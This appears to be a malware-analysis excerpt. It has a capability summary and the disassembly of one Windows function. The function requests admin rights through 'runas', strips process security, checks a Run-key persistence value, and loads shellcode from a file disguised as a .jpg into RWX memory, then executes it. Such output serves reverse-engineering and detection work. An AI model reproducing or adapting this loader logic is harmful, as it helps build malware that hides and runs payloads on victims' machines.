Function at 0x402800
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Create thread
Execute shellcode via indirect call
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
mov eax, dword [0x42c028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
cmp eax, 1
je 0x402920
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00407540
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
mov dword [ebp - 0x2ac], 0x9c
mov dword [0x42dc4c], eax
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40295e
cmp dword [ebp - 0x2a8], 5
jbe 0x40295e
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00407540
mov edx, dword [0x42dc4c]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4028a4
lea edi, [ebp - 0x20c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028b4
mov ecx, edx
lea eax, [ebp - 0x2e8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x38
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
mov dword [ebp - 0x2ec], 0x3c
call fcn.00407540
add esp, 0xc
mov dword [ebp - 0x2e0], str.runas
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x2d0], 5
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x2ec]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40295e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 8
mov edi, eax
call fcn.0040ab4a
add esp, 4
mov esi, eax
push 2
push 8
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x402955
push 0
push esi
push 0
push 0
push 4
push 6
push edi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
push esi
call fcn.0040a7c2
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402170
push 0
push 0
call esi
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x210], 1
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4029d7
push eax
push eax
lea eax, [ebp - 0x210]
push eax
push 0
push str.Microsoft
push dword [ebp - 0x2b0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x2b0]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x4029fc
cmp edi, 0xea
je 0x4029fc
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call fcn.0040a738
add esp, 8
cmp eax, 0xffffffff
je 0x4029fc
push 0
push 0
push 0
push 0x4027e0
push 0
push 0
call esi
push 0x4287d3
push 0
call fcn.0040a4f8
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push str.C:ProgramDataMicrosoftProgramziliao.jpg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00405ba6
push edi
mov ebx, eax
push 0
push ebx
call fcn.00407540
add esp, 0x10
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
push 0
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x402a93
push edi
push ebx
push esi
call fcn.00406fa0
add esp, 0xc
test eax, eax
je 0x402a93
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405b55
mov esp, ebp
pop ebp
ret